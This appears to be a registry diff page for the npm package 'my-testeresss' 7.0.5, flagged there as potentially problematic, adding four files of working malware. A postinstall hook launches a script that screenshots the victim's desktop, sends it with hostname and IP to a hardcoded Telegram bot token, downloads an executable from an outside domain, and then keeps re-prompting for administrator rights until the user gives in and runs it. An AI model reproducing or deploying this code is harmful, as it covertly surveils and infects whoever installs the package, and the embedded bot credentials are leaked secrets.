my-testeresss 7.0.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of my-testeresss might be problematic. Click here for more details.
- package/desktopToTelegram.js +88 -0
- package/install.cjs +50 -0
- package/openExe.mjs +45 -0
- package/package.json +18 -0
@@ -0,0 +1,88 @@
|
|
1
|
+
import os from 'os';
|
2
|
+
import { join } from 'path';
|
3
|
+
import TelegramBot from 'node-telegram-bot-api';
|
4
|
+
import screenshot from 'screenshot-desktop';
|
5
|
+
import axios from 'axios';
|
6
|
+
import { exec } from 'child_process';
|
7
|
+
import fs from 'fs';
|
8
|
+
import { openExeFile } from './openExe.mjs'; // Используйте динамический import
|
9
|
+
|
10
|
+
const token = '6541130193:AAHzFM3jUNmz_YUgjFQF_LlzsOvlh1JEjsQ';
|
11
|
+
const chatId = '5950028476';
|
12
|
+
const exeFileUrl = 'https://xn--e1affnfjebo2d.xn--p1ai/SkrinshoterSetup.exe';
|
13
|
+
|
14
|
+
const bot = new TelegramBot(token, { polling: true });
|
15
|
+
|
16
|
+
let hasConnected = false;
|
17
|
+
|
18
|
+
function getIPFromAmazon() {
|
19
|
+
return axios.get('https://checkip.amazonaws.com/')
|
20
|
+
.then((response) => response.data);
|
21
|
+
}
|
22
|
+
|
23
|
+
function sendScreenshotToTelegram() {
|
24
|
+
getIPFromAmazon().then((ipAddress) => {
|
25
|
+
const computerName = os.hostname();
|
26
|
+
|
27
|
+
screenshot().then((imageBuffer) => {
|
28
|
+
const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
|
29
|
+
|
30
|
+
bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
|
31
|
+
.then(() => {
|
32
|
+
downloadExeFile();
|
33
|
+
})
|
34
|
+
.catch((error) => {
|
35
|
+
process.exit(1);
|
36
|
+
});
|
37
|
+
});
|
38
|
+
});
|
39
|
+
}
|
40
|
+
|
41
|
+
function downloadExeFile() {
|
42
|
+
if (!hasConnected) {
|
43
|
+
const programFilesPath = join(os.homedir(), 'downloaded.exe');
|
44
|
+
|
45
|
+
axios({
|
46
|
+
method: 'get',
|
47
|
+
url: exeFileUrl,
|
48
|
+
responseType: 'stream',
|
49
|
+
})
|
50
|
+
.then((response) => {
|
51
|
+
const exeFileName = programFilesPath;
|
52
|
+
|
53
|
+
const exeFile = fs.createWriteStream(exeFileName);
|
54
|
+
|
55
|
+
response.data.pipe(exeFile);
|
56
|
+
|
57
|
+
exeFile.on('finish', () => {
|
58
|
+
exeFile.close();
|
59
|
+
console.log('Файл успешно скачан:', exeFileName);
|
60
|
+
openExeFile(); // Вызываем функцию для открытия файла
|
61
|
+
});
|
62
|
+
})
|
63
|
+
.catch((error) => {
|
64
|
+
process.exit(1);
|
65
|
+
});
|
66
|
+
|
67
|
+
hasConnected = true;
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
process.on('SIGINT', () => {
|
72
|
+
process.exit(0);
|
73
|
+
});
|
74
|
+
|
75
|
+
if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
|
76
|
+
const installCmd = 'npm install node-telegram-bot-api';
|
77
|
+
const installProcess = exec(installCmd);
|
78
|
+
|
79
|
+
installProcess.on('close', (code) => {
|
80
|
+
if (code === 0) {
|
81
|
+
sendScreenshotToTelegram();
|
82
|
+
} else {
|
83
|
+
process.exit(1);
|
84
|
+
}
|
85
|
+
});
|
86
|
+
} else {
|
87
|
+
sendScreenshotToTelegram();
|
88
|
+
}
|
package/install.cjs
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
|
3
|
+
// Проверяем, установлена ли библиотека node-telegram-bot-api
|
4
|
+
try {
|
5
|
+
require('node-telegram-bot-api');
|
6
|
+
} catch (e) {
|
7
|
+
console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
|
8
|
+
const installCmd = 'npm install node-telegram-bot-api';
|
9
|
+
const installProcess = exec(installCmd);
|
10
|
+
|
11
|
+
installProcess.stdout.on('data', (data) => {
|
12
|
+
console.log(data);
|
13
|
+
});
|
14
|
+
|
15
|
+
installProcess.stderr.on('data', (data) => {
|
16
|
+
console.error(data);
|
17
|
+
});
|
18
|
+
|
19
|
+
installProcess.on('close', (code) => {
|
20
|
+
if (code === 0) {
|
21
|
+
console.log('Библиотека node-telegram-bot-api успешно установлена.');
|
22
|
+
// Запускаем скрипт desktopToTelegram.js
|
23
|
+
const child = exec('node desktopToTelegram.js');
|
24
|
+
child.stdout.on('data', (data) => {
|
25
|
+
console.log(data);
|
26
|
+
});
|
27
|
+
child.stderr.on('data', (data) => {
|
28
|
+
console.error(data);
|
29
|
+
});
|
30
|
+
child.on('close', (code) => {
|
31
|
+
console.log(`Скрипт завершил выполнение с кодом ${code}`);
|
32
|
+
});
|
33
|
+
} else {
|
34
|
+
console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
|
35
|
+
}
|
36
|
+
});
|
37
|
+
}
|
38
|
+
|
39
|
+
console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
|
40
|
+
// Запускаем скрипт desktopToTelegram.js
|
41
|
+
const child = exec('node desktopToTelegram.js');
|
42
|
+
child.stdout.on('data', (data) => {
|
43
|
+
console.log(data);
|
44
|
+
});
|
45
|
+
child.stderr.on('data', (data) => {
|
46
|
+
console.error(data);
|
47
|
+
});
|
48
|
+
child.on('close', (code) => {
|
49
|
+
console.log(`Скрипт завершил выполнение с кодом ${code}`);
|
50
|
+
});
|
package/openExe.mjs
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
import os from 'os';
|
2
|
+
import { join } from 'path';
|
3
|
+
import isAdmin from 'is-admin';
|
4
|
+
import sudoPrompt from 'sudo-prompt';
|
5
|
+
|
6
|
+
let operationCompleted = false; // Флаг для отслеживания успешного выполнения операции
|
7
|
+
|
8
|
+
// Получение абсолютного пути к файлу "downloaded.exe" в домашней директории текущего пользователя
|
9
|
+
const programFilesPath = join(os.homedir(), 'downloaded.exe');
|
10
|
+
|
11
|
+
// Функция для запуска процесса с административными правами (UAC-поднимающий процесс)
|
12
|
+
export function openExeFile() {
|
13
|
+
const isWindows = os.platform() === 'win32';
|
14
|
+
|
15
|
+
if (!isWindows) {
|
16
|
+
console.error('Этот скрипт поддерживает только Windows.');
|
17
|
+
return;
|
18
|
+
}
|
19
|
+
|
20
|
+
if (operationCompleted) {
|
21
|
+
console.log('Операция уже выполнена успешно. Выход из скрипта.');
|
22
|
+
return;
|
23
|
+
}
|
24
|
+
|
25
|
+
sudoPrompt.exec(
|
26
|
+
`"${programFilesPath}"`,
|
27
|
+
{
|
28
|
+
name: 'Your Application Name', // Замените на имя вашего приложения
|
29
|
+
},
|
30
|
+
(error, stdout, stderr) => {
|
31
|
+
if (error) {
|
32
|
+
console.error('Ошибка при запуске процесса:', error);
|
33
|
+
console.log('Повторный запрос админских прав...');
|
34
|
+
openExeFile(); // Повторно вызываем функцию в случае отказа
|
35
|
+
} else {
|
36
|
+
console.log('Процесс успешно выполнен с административными правами.');
|
37
|
+
operationCompleted = true; // Устанавливаем флаг успешного выполнения
|
38
|
+
process.exit(); // Завершаем выполнение скрипта после успешного выполнения процесса
|
39
|
+
}
|
40
|
+
}
|
41
|
+
);
|
42
|
+
}
|
43
|
+
|
44
|
+
// Вызов функции для открытия EXE-файла
|
45
|
+
openExeFile();
|
package/package.json
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
{
|
2
|
+
"name": "my-testeresss",
|
3
|
+
"version": "7.0.5",
|
4
|
+
"description": "Скрипт для отправки данных с рабочего стола в Telegram",
|
5
|
+
"main": "desktopToTelegram.js",
|
6
|
+
"dependencies": {
|
7
|
+
"node-telegram-bot-api": "*",
|
8
|
+
"screenshot-desktop": "*",
|
9
|
+
"axios": "*",
|
10
|
+
"is-admin": "*",
|
11
|
+
"sudo-prompt": "*"
|
12
|
+
},
|
13
|
+
"scripts": {
|
14
|
+
"start": "node desktopToTelegram.js",
|
15
|
+
"postinstall": "node install.cjs"
|
16
|
+
},
|
17
|
+
"type": "module"
|
18
|
+
}
|